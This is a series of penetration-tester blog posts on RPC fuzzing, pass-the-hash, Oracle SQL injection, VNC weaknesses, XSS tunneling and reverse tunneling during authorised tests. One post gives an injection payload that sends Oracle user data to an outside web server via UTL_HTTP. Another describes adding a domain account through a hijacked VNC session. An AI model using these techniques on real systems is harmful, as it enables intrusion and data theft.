Fun with DCE-RPC Fuzzing

I recently finished working on an interesting project that was a mix of architecture assessment and penetration testing.  One of our key tasks was to analyze the effectiveness of a firewall that they had configured to perform layer 7 inspection of Windows DCE-RPC traffic.  The firewall was designed to enforce a white-list of allowed RPC services (based on UUID) and deny all others.  It also did some fancy dynamic port management, automatically opening/closing high-number ports for permitted RPC connections.  

Our pen-tests usually don't entail a significant amount of packet crafting and manipulation, since we're more typically working at the OS or application level.  So testing this firewall's RPC filtering mechanism was a fun challenge.  We ended up relying on two tools to perform fuzzing attacks, primarily manipulating the UUID and function call fields in the RPC packets:

• Impacket - A collection of Python classes developed by the Core Security guys.  Includes support for DCE-RPC v4 and v5.  I used this to write up a number of scripts for each test case.
• SPIKE - Popular fuzz testing framework based in C - it includes a pre-built msrpc fuzzing tool.

I initially wanted to use Scapy, but it unfortunately doesn't have native support for DCE-RPC and I didn't have the time (or skill) to build out the protocol.  Of course, we also heavily relied upon Wireshark since it decodes DCE-RPC v5 very nicely, and Metasploit to launch a few known RPC exploits.

After extensive brainstorming and failed attempts with my colleague, we were able to trick the firewall into opening RPC ports by spoofing valid RPC sessions - but only for white-listed UUIDs.  I was more interested in getting the firewall to choke on malformed endpoint mapper requests or other RPC packets, and possibly create denial of service conditions (or get packets with disallowed UUIDs past the filtering mechanism).  No luck there, mostly due to how the RPC endpoint mapper and firewall work together to dynamically open ports.  The specific port opened for an RPC service is dictated by the endpoint mapper response and cannot be defined by the initial request - which makes sense, the client shouldn't have any say in what port the server chooses for the service. 

Despite failing to completely own the firewall, designing and implementing our testing approach was a great experience - especially coding the Python test scripts with Impacket.

Pass the hash, NTLM style

Way back in 1997, a Windows exploit named "NT Pass the Hash" was posted on Bugtraq. This Unix-based tool was a modified SMB client that lets you use captured LanMan hashes, without having to decrypt them first.

After a mere ten years, someone has finally modernized this concept into a much more potent attack. Core Security has released Pass-The-Hash Toolkit, which runs on Windows and works with NTLM hashes. It's comprised of two key modules:

• IAM.EXE - This tool "injects" another user's NTLM credentials into your current Windows logon session, given their username, Windows domain, and NTLM hash. You can then use the 'net' tools or any other Windows software that authenticates via NTLM, all under the assumed privileges of the compromised user account.
• WHOSTHERE.EXE - Lists the usernames and NTLM hashes of all users logged on to a system.
  

No password cracking required! So if you own other systems on the network, you can just run whosthere.exe on them until you snag a domain admin's hashes. Or you could use a man-in-the middle attack, like the WPAD proxy exploit. As I discussed a few posts ago, the Metasploit guys covered several methods for grabbing NTLM hashes in their Tactical Exploitation presentation at BlackHat.

Out-of-band Oracle SQL injection with HTTP Requests

I spent most of last week performing a web application assessment in the middle of nowhere, Alabama. After the mad fun at BlackHat and several weeks of unpleasant documentation work preceding it, it was a nice change to spend five peaceful days completely focused on testing an interesting system.

This was an internal application, so I wasn't surprised to find that it was vulnerable to SQL injection in several areas. However, in-band injection attacks weren't working for the application I was testing - I couldn't use UNION SELECTs, for example, to merge my query results with data rendered in the browser. So I had to leverage an out-of-band technique for retrieving data through SQL injection: Oracle's UTL_HTTP.REQUEST function. David Litchfield mentioned this approach almost two years ago in Data-mining with SQL Injection and Inference, but I never had the need to use it "in the wild" until now.

UTL_HTTP is a built-in Oracle SQL function that issues HTTP requests. The syntax is pretty simple: 

URL_HTTP.REQUEST('http://www.foo.com/index.php') 

returns the first 2000 bytes from the provided URL. But the clever bit is that you can concatenate the URL with another SQL statement, the results of which will become part of the request.

For example, consider the following SQL:

UTL_HTTP.REQUEST('http://www.foo.com:80/'||(SELECT USERNAME FROM DBA_USERS WHERE ROWNUM=1))

The SELECT statement returns the value "SYS" - the first user in the DBA_USERS table. The HTTP request issued by the database is therefore for the URL "http://www.foo.com:80/SYS". In www.foo.com's HTTP access log, the request would look like:

158.72.4.21 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -
(assuming 158.72.4.21 is our target DB server)

So as an attacker, you simply need to run a web server and point the UTL_HTTP.REQUESTs to your own IP address. You can then view the result of each SQL injection in your server logs. If in Windows, I like to use SHTTPD as it is lightweight and simple to turn on and off.

The biggest limitation to this approach is that you can only query for one row at a time - you'll get an error message if your statement returns multiple rows. (That is due to the UTL_HTTP.RQUEST function itself, not the web server end). But it is still a lot more efficient then using blind SQL injection to brute force one character of a response at a time. Oracle will also throw an error if it can't reach your web server, which may be the case depending on network controls between yourself and the database.  Experiment with running on different ports.

There are probably a few things you could do to make the attack more elegant, like setting up a CGI script on your server to better collect and parse the calls from the database. You could also create and inject a PL/SQL function that concatenates results from multiple rows to get around the single-row limitation. I needed a quick and dirty solution to get a few key database records, so I didn't bother venturing beyond the basics for this test.

Outbound HTTP requests originating from a database server should look suspicious, but I think the attack is obscure enough to slip by most admins.

SensePost Releases Squeeza SQL Injector, Updates Wikto

As referenced in my BlackHat wrap-up, SensePost has just released the squeeza tool and accompanying slide deck from their presentation.  Their work on timing-based attacks is really interesting, particularly what they have dubbed as "Cross-Site Request Timing": it's apparently possible to violate the same-origin policy by tracking page load times across multiple domains. They've also released an update to Wikto, bumping it to 2.0 - judging from the change log it's a pretty substantial re-write.

BlackHat Wrap-Up

I've returned and recovered from a fun week at BlackHat in Las Vegas.  The conference was a great experience and had an excellent selection of speakers.  As with other hacking conventions I've attended in the past, it was humbling to see how smart some of the presenters and attendees are.  I unfortunately couldn't make it to Defcon this year (damn client obligations!), but four days is just about the right length of time to stay in Vegas.  

To share a few random observations and cool things:

• At this point it should be clear that browser vulnerabilities are this "generation's" OS-level vulnerabilities.  Owning the client means you can do just about anything, including full-fledged attacks against internal networks.  David Byrne's anti-DNS pinning really drove this home, particularly when he used Java LiveConnect to proxy a full Nessus scan against an internal host through the browser. 
• Billy Hoffman's talk on "The Little Hybrid Web Worm That Could" was really interesting - he's always a good presenter.  He illustrated several pieces of proof-of-concept JavaScript code that can self-mutate, parse sites like Secunia to "learn" new vulnerabilities, and exploit web application vulnerabilities.  It won't be long before we see these kinds of worms in the wild, as the technology and research are already in place.  
• Errata security demo'd a tool called Ferret that combines WiFi sniffing and gathering sensitive information into somewhat of a point-and-click affair.  It works with a HTTP proxy component that lets you easily use session cookies hijacked from other users' browser sessions.  He used it to hop on to an attendee's GMail account while on stage, which really got the audience going.  There's nothing new here - we all know you can sniff and re-use cookies from non-SSL'd connections - but the tool is still a neat implementation.
• A presentation on extrusion detection systems by Matasano ended up being far more interesting than I expected.  While their research focused on vulnerabilities in agent-based tools designed to prevent information leakage, it conceptually applied to any agent-based product (I'm thinking of SIM tools in particular).  Through reverse engineering, they revealed how trivial it would be to take over agents, execute code at the Windows kernel level, spoof reporting data, and cause other havoc.  It made me really want to grab a copy of PaiMei and learn more about reversing and fuzzing.
• The Metasploit team gave a fantastic two-part presentation (available on their site) on tactical penetration testing.  Their message was one we've always preached to our clients: pen-testing should not just be vulnerability scanning and firing off exploits.  They covered some interesting new resources for footprinting targets and network discovery, such as DomainTools.com and Paterva.com.  
  
  The presentation also included a demo of a new Metasploit component that facilitates NTLM hijacking.  You basically capture the victim's NTLM hash through a man-in-the-middle attack (the WPAD proxy hijack technique works great for this), and can then re-use this hash to authenticate with the user's credentials.  There's no need to crack the NTLM hash!  I plan on testing this one out in our lab - although our rules of engagement unfortunately often forbid us from performing network redirection attacks against clients.   
• SensePost had a presentation on timing-based attacks that I wish I had not missed.   They demonstrated "SensePost-aTime", which leverages timing information to perform SQL injection and extract data.  I couldn't find it on their web-site yet, but will post as soon as a link is available.  Until then, you can check out a recent post on ha.ckers.org that covers a "res://" timing attack that enumerates a user's local files through the browser.
• My "Best Booth Gimmick" award goes to Fortify Software - their Borat-inspired "Discover Hackistan" promotion was pretty damn funny.

Personal goal for next year: to put together a presentation that I can at least attempt to submit for BlackHat or Defcon.

Oracle 9i/10g Views exploit

A quick one for the weekend: Rawlab released a nice little SQL exploit for a recently-patched Oracle 9i/10g vulnerability involving specially crafted Views. This flaw gives database users the ability to update/insert/delete records with SYSTEM privileges. The exploit updates a specified user account in SYS.USER$ with a new password; the code is straightforward enough to be easily modified if you wanted to mess with other records in system tables. I've hit a streak of insecure Oracle databases over the last few pen-tests, so this might be a useful tool to add to my collection.

Dangerous links: Mozilla URI handler exploits

There has been a lot of recent activity among security blogs covering serious new vulnerabilities in Mozilla's URI protocol handling.  This is a significant issue because it is easily exploitable and yields remote command execution on a victim's PC: an attacker only needs to lead the user to a maliciously crafted link.

The root of this flaw lies in how Mozilla handles URIs that are opened by other applications (such as mailto://, aim://, etc.).  These links are designed to pass specific parameters to the external application - for example, a mailto: link typically launches your e-mail client, and composes a new message with a specified "To: address.  Mozilla does not sufficiently parse these URIs; as a result, it is possible to inject characters and change the execution path.  

To make matters worse, the browser does not prompt the user before handling URIs for “mailto”, “news”, “nntp” and “snews”, so this attack can be launched without any interaction.  Yesterday, Billy Rios posted a simple exploit that executes commands through these URIs without any user warning.  However, it only works if the victim has no applications registered to the URIs, which is fairly uncommon (Outlook Express handles them by default, and is installed on most Windows systems).

The latest and most comprehensive vulnerability report was released today by Thor Larholm, and includes several proof-of-concept demos for Firefox, Thunderbird, and the mailto: protocol.  He goes into a lot of detail - it's a great read and a slick hack.

So an important moral to this story is that registering a URI handler really exposes an application to significant risk of attacks originating from the browser.  This is nothing new: for example, there have been numerous buffer overflows affecting AOL Instant Messenger that can be triggered by crafted URIs.  However, when you combine them with widespread cross-site scripting vulnerabilities and something like this URI handling flaw, you can see that a lot of interesting attack vectors are possible.  It is likely that we'll see variations on these theme affecting multiple browser platforms and used in a variety of exploit scenarios.

One last thing - a good post on ush.it details how you can disable unnecessary external protocol handlers to harden your browser. 

Firefox 2.0.0.5 and Thunderbird 2.0.0.4 are vulnerable; this will be patched in the soon-to-be-released Firefox 2.0.0.6.

More on Flash hacking

A quick follow-up to my previous post on testing Flash sites: Stefano Di Paola recently delivered a superbly comprehensive presentation on Flash application security during this year's OWASP conference in Milan. It goes into great detail on the ActionScript security model, how Flash applications are sandboxed, and a variety of client-side attack vectors. The resulting exploits include classic cross-site scripting issues, as well as a variation known as cross-site "flashing". Stefano also covers a few concepts for more advanced hacks, and plans to release testing tools and additional whitepapers soon. You can check out his web-log at Wisec.it.

Threat analysis: Fast-Flux Service Networks

Ever wonder how phishing and malware sites manage to stay online? Through their analysis of botnets and infected hosts, the HoneyNet Project has documented an increasingly widespread technique used by online criminals: "Fast-Flux Service Networks". It's an admittedly clever and approach that makes it much harder to shut down malicious operations.

The premise behind fast-flux service networks is simple: attackers register a fully qualified domain name, and then rotate hundreds or thousands of IP addresses that are assigned to it. A DNS name may only be mapped to a particular IP for a few minutes. Each IP is an infected member of a botnet - but they are not the source of content, such as a virus or a scam web-site. Instead, they simply act as proxies, redirecting to one or more "mothership" servers that actually host the content. A more complex variation, "double-flux" service networks, implement additional misdirection by also rotating the authoritative name servers.

Like most of the HoneyNet Project's work, the whitepaper is very well-written and includes a case study with real-world examples. Definitely worth checking out if you're interested in how the more sinister side of the Internet underground operates.

Decompiling and testing Flash-based web sites

I've recently been evaluating several tools to help our team perform security assessments on Flash-based web applications. We occasionally have to test client sites that are almost entirely written in Flash, and they can be even more annoying to assess than they are to use. I have never really worked with the language from a developer's perspective, so it's been a good learning experience.

I was first interested in decompilers, thinking that certain poorly-coded applications might have hard-coded host information, credentials, or other potentially sensitive information. I found that Flare is an effective (and free) tool for extracting ActionScript from SWF files. However, after using it on a number of projects I've come to realize that there's rarely much of interest in the ActionScript. (There are a few horribly coded Flash login portals that store passwords in the source code, but I've never seen them used in a "professional" client application. Google for "login.swf", and decompile a few of the results to see what I mean.)

Ordinary proxy tools like Paros or Burp will catch any inbound or outbound HTTP requests issued by a Flash application. However, some applications talk to the server using a SOAP-like messaging protocol known as Flash Remoting, in which messages are binary encoded in "Action Message Format" (AMF). Neither Paros nor Burp will decode AMF, making it difficult to analyze the transactions. However, there are a few applications that can: ServiceCapture and Charles Debugging Proxy are two of the more popular and well-regarded tools. Below are a few screenshots of a binary AMF response as seen in Paros, versus the same response decoded in ServiceCapture:

Binary AMF response in Paros

Decoded AMF response in ServiceCapture

As you can see, deserializing Flash Remoting traffic can provide a lot of information about an application, and even identify targets for parameter manipulation or SQL injection attacks.

Unfortunately, I haven't been able to find any free tools with this capability. ServiceCapture and Charles offer downloadable trials, but require a reasonable license fee for continued use. The Burp Proxy team is soliciting requested features for their next update, so I will be sure to submit this as a recommendation.

JavaScript Web Spider - Powered by Yahoo

pdp has released a proof-of-concept web spider written completely in JavaScript. It is a pure client-side tool, requiring no server support other than the Yahoo Site Explorer service it leverages. The spider is very efficient - it can index the files and directory structure of a web site within a few queries, making it very fast and efficient. The only limitation is that only can fetch pages already indexed by Yahoo.

As pdp points out in his writeup, it would be simple to modify this code to identify vulnerabilities in spidered sites and exploit them in real-time. We will almost certainly see XSS/AJAX worms leveraging this sort of technique to target and compromise other web applications, and they will be very difficult to block.

Insecurity through stupidity - FTP servers expose DoD data

The Associated Press is running a story on how they discovered an extensive number of sensitive but unclassified military documents kept on unsecured FTP servers. Both government and contractor systems were found to allow anonymous access to goodies like project schematics, facility security information, building plans, and geological survey data. Some of the responses by the guilty parties are both hilarious and frightening. My favorite quote from the article [emphasis added]:

A spokeswoman for contractor SRA International Inc., where the AP found a document the Defense Department said could let hackers access military computer networks, said the company wasn't concerned because the unclassified file was on an FTP site that's not indexed by Internet search engines. "The only way you could find it is by an awful lot of investigation."

Yeah, it's really no big deal, you never see port scanning or worms checking for anonymous FTP out on the Internet - it's far too much work. If the system isn't indexed on Google, no one will ever find it.

When I first started doing this kind of work, I couldn't believe how many high-profile clients had no grip on their Internet presence or systems therein. I eventually came to realize that it's a widespread problem, made even more problematic when companies have to track both in-house and outsourced systems and hosting. Every external penetration test we perform is preceded by a footprinting phase, where we identify the client's IP ranges and ensure we have approval to test them. Nine times out of ten, they end up shocked at what we discover. Clients often have no clue whether certain address ranges are actually theirs, never-mind what systems are on them or what services they run.

As much as I love tracking the bleeding edge in vulnerabilities and attack techniques, articles like this are a good reminder of how important it is to keep perspective, and recognize that many organizations are still struggling with the most fundamental aspects of IT security.

Oh, and one take-away question...why the hell were these FTP servers discovered by the Associated Press, and not agencies' own vulnerability scans or penetration tests? Either they're not being performed, or the people doing them are incompetent. Neither would surprise me.

How to NOT protect your site against SQL injection

Parameterized queries? Input validation? Pfft. Really secure sites don't need that kind of nonsense to protect against SQL injection attacks.  They just kindly ask that you avoid submitting values like "SELECT FROM" or "DROP".

HTTP proxying through XSS

RSnake's blog just turned me on to the release of XSSTunnel, a very slick project by Ferruh Mavituna. This .NET-based tool lets you leverage a cross-site scripting vulnerability into a full HTTP proxy. By using XSSTunnel in concert with Ferruh's XSS Shell, you can pipe any scanning tool that supports HTTP proxies to run through a victim's "infected" browser. The possibilities are endless: you could run your own web browser, SQL injection tools, Nikto, etc. through the tunnel.

The logistics of the attack are fairly simple. You need to host the XSS Shell components on an IIS server under your control, and configure XSSTunnel (which runs locally on your machine) with its location. Your cross-site scripting attack will load the code from the XSS Shell server into the victim's browser, either through a reflected or persistent vector. (It's worth noting that XSS Shell has some nasty attacks on its own, including key-logging, stealing cookies and clipboard contents, etc). Once everything is set up you can launch the tunnel, wait for your XSS attack to reach a victim, and then proxy to your heart's content.

Ferruh's Bugtraq post includes links to a video and whitepaper; the tool is also available at Portcullis-Security.

Stating the obvious - VNC is insecure

If you need to provide remote desktop access to your organization's Windows machines, and care even a little bit about IT security, do NOT use VNC. The Windows built-in Remote Assistance / Remote Desktop tools are a far better choice. This may seem obvious, but I still find organizations running VNC servers all over the place, usually for the helpdesk to provide users with remote troubleshooting. This can leave an environment ripe for compromise.

VNC has a few fundamental weaknesses:

• Most implementations do not require a username for authentication, and the password is stored in the registry using a trivial hashing mechanism. VNCcrack or Cain will instantly crack these hashes.
• There is typically no client-side confirmation or acknowledgment required for a VNC session to be established between a server and viewer, which can leave a user unaware that their activity is being monitored.
• Most significantly, because there's no simple way to centrally manage VNC servers, administrators will typically use the same VNC password for every host to facilitate configuration and deployment. So if you compromise one Windows box through local vulnerabilities and gain access to its registry, you can obtain a VNC password that will work on every other machine in the environment. Not good.

For a pen-tester's perspective, let's throw a few other variables into the mix. Several Windows tools will scan a set of systems via NetBIOS and tell you which users are logged on to each. And if the domain controllers are configured to allow certain anonymous NetBIOS queries, you can enumerate all the members of key groups like "Domain Administrators". Analyze your scan results and combine the data to produce a list of workstations used by privileged domain accounts. VNC into each system and look for an opportunity to take control of the keyboard and mouse. (Yet another reason to lock your desktop when away from the keyboard!)

It takes less than 15 seconds to open the command shell, execute your "net user /add /domain", and close the window. Bam - you now have a domain account. Not exactly an elegant attack, but it gets the job done.

VNC is an excellent tool that can serve a number of purposes in both home and enterprise environments. However, it is not an ideal solution for remote access across a large number of Windows hosts. It often takes a good penetration test to drive that point home.

Mobile hacking with the Nokia 770 tablet

I have a bad habit of impulse-purchases when it comes to gadgets, but I'm pretty pleased with how my latest turned out - the Nokia 770 Internet Tablet. It was on Woot a few weeks ago for $135 and you can still buy them on Buy.com for around the same price. This little device is about the size of a Nintendo DS lite, and runs a stripped down version of Debian with a development platform called Maemo. It has a really nice 800x400 touch screen, Bluetooth, and WiFi. There is also a newer version, the N800, with a faster processor and a few better expansion options.

Anyway, because of the 770's Linux OS it's pretty easy for developers to port software over to it. As a result, you can load it up with all sorts of neat stuff - mine currently has an SSH server & client, VNC client, Nmap (with NmapFE working), an X-server, Kismet, Mplayer, and a stripped version of Perl and Python. You just have to add the appropriate repositories to the device's Application Manager, and then you can one-click install them (or use apt-get on the command line). This would be perfect for wireless testing and war-driving due to its size and good battery life. Also, the web browser is based on Opera and can basically render most sites exactly as they appear on desktops - it just chugs a little on JavaScript-heavy pages.

Opera on the BBC web site (RealVideo streams work!)

VNC'd into my Mac

Nmap (after sudo'ing)

Kismet - works great, but you have to reboot to restore WLAN to the tablet's other apps. Might be because it can't get the wireless card back from monitor mode.

Downsides - the device uses RS-MMC for expandable storage, which is getting rare and overpriced. Also, it is a bit unstable so you have to get used to Opera or other apps randomly crashing. I've had it reboot for no apparent reason a few times as well, but it only takes about 20 seconds.

But even with those disadvantages, it's a steal for $140 and a lot of fun to hack around with.

Hacking Oracle Application Servers

A recent post on Darknet turned me on to a new tool for testing Oracle Application Servers called OAPScan. This neat little Perl script is similar to Nikto - it does a "dumb" crawl of web servers based on a scan database and uses pattern matching and server responses to determine whether certain files, paths, and vulnerabilities exist. But unlike Nikto, OAPScan's database has a robust number of checks specific to Oracle Application Servers, which I encounter frequently on both external and internal pen-tests.

Oracle AS has all sorts of default files, scripts, Data Access Descriptors (DADs), and other features that people forget to turn off when deploying these servers. In some cases, they can provide valuable information about the server or even be useful attack vectors for more serious vulnerabilities like SQL injection and file disclosure.

In the past I've always had to manually crawl through these servers, and would perform manual tests based on guidance from two excellent whitepapers:

• OWASP's "Testing for Oracle"
• NGS Software's "Hackproofing Oracle Application Server"
  

(Method #6 in the OWASP guide for bypassing PL/SQL exclusion list to perform SQL injection almost always works for me - I don't think it wasn't patched until late last year)

OAPScan will automate a lot of those testing steps for me, albeit as noisily as any other tool that crawls/scans web servers. If nothing else, it's scan database can be a good reference if you want to learn about what things to manually check for, in concert with the whitepapers I mentioned above.

Reverse tunneling with Zebedee to compromise trusted networks

During a recent external pen-test, my teammate and I were able to gain root access to a Unix web server through a few serious application vulnerabilities. Once we had a reverse-shell going, we used wget to download Nmap, compiled it, and set off some scans to map out the DMZ and any reachable internal servers. Pretty straightforward so far.

Turned out that there really was no DMZ - everything was in one cloud behind their perimeter firewall. We quickly found a Class C containing lots of Windows hosts, including domain controllers and database servers, with all the expected ports open and exposed - jackpot! But we had a problem: the majority of our pen-testing tools for attacking Windows hosts only run on Windows, especially those related to MS SQL server. We couldn't run them on our compromised Unix server, and we didn't have the time to hunt down and test any equivalent tools that might exist for *nix platforms.

What we needed was a way to securely tunnel a connection from our pen-test system, through the Internet to the compromised Unix web server, and then ultimately to the Windows hosts behind the firewall. Something like stunnel first came to mind, but their firewall would block our inbound connection attempt.

Enter Zebedee...

This wonderful tool, available for both *nix and Windows, lets you set up an encrypted two-way tunnel for TCP or UDP connections. But the real beauty is that you can initialize a "reverse tunnel", much in the same way you'd use netcat to set up a reverse shell and bypass firewalls that strictly filter inbound connections. We configured our pen-test system to be the client and listen for connections from the Zebedee server. We then installed and ran Zebedee's server component on the compromised Unix host, and set up an outgoing reverse tunnel to our listener. The outbound connection got through their firewall, and we were able to directly attack the internal Windows servers from our own machine. You just point your testing tools to localhost as the destination IP, and to the port on which Zebedee client has established the tunnel. (As you might imagine, explaining how this worked to non-technical folks at our client was rather difficult).

Needless to say we were extremely happy to get this working, especially because it took quite a long time to configure and set up properly. Some of the documentation was confusing, and we kept having silly compilation issues because dependencies were in the wrong path. One noteworthy problem we ran into is that we could only get the server to tunnel to one endpoint at a time. In other words, our client listener could stay open, but we had to re-initialize the server with a different tunneling endpoint specified on the command line each time we wanted to test a new Windows host.

Ultimately, that limitation wasn't a huge deal - we still were able to eventually compromise a key Windows server - it just took some extra time to do the testing. The documentation indicates that you can set up a tunnel to any number of endpoints, so we'll have to figure that out for our next pen-test.

Despite these minor quibbles, Zebedee is a great tool that is invaluable for external pen-tests, particularly when your system compromises have spilled over into protected networks.